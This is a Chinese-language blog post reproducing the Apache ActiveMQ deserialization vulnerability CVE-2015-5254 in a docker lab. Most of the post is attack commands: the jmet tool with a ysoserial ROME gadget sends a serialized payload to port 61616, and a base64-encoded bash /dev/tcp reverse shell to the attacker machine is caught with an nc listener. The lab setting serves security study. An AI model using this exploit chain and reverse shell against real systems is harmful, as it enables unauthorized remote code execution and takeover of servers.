ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现

1、Apache ActiveMQ

Apache ActiveMQ是Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。

2、漏洞产生原理

该组件程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以使一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象利用此漏洞执行任意代码。

3、受影响版本

Apache ActiveMQ 5.x < Apache ActiveMQ 5.13.0

复现流程如下:

靶机IP:192.168.107.129

攻击机IP:192.168.107.130

启动环境

docker-compose up -d

查看启动的容器

docker ps

访问web页面

 攻击机执行以下命令:

cd var/opt 
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external

使用下载jmet的jar文件 ,Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch  /root/sucess" -Yp ROME   192.168.107.129  61616 

 接下来,我们到web管理页面看是否添加了一条消息

 默认账号密码:admin/admin

回到靶机 打开靶场的bash,查看消息未触发前/root目录,没有任何文件

攻击机单击触发消息后,可见success目录被创建

通过发送构造的payload反弹靶场shell,攻击机使用nc监听

bash -i >& /dev/tcp/192.168.107.130/1234 0>&1

 使用base64编码payload绕过Java机制

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xMzAvMTIzNCAwPiYx

构造payload

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.107.129 61616

可以看到新增了一条内容

攻击机使用nc监听本机的1234端口

nc -lvp 1234

 攻击机单击触发反弹shell的payload消息

靶机的shell已经反弹到攻击机的12344端口上

 参考文章:ActiveMQ 反序列化漏洞

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值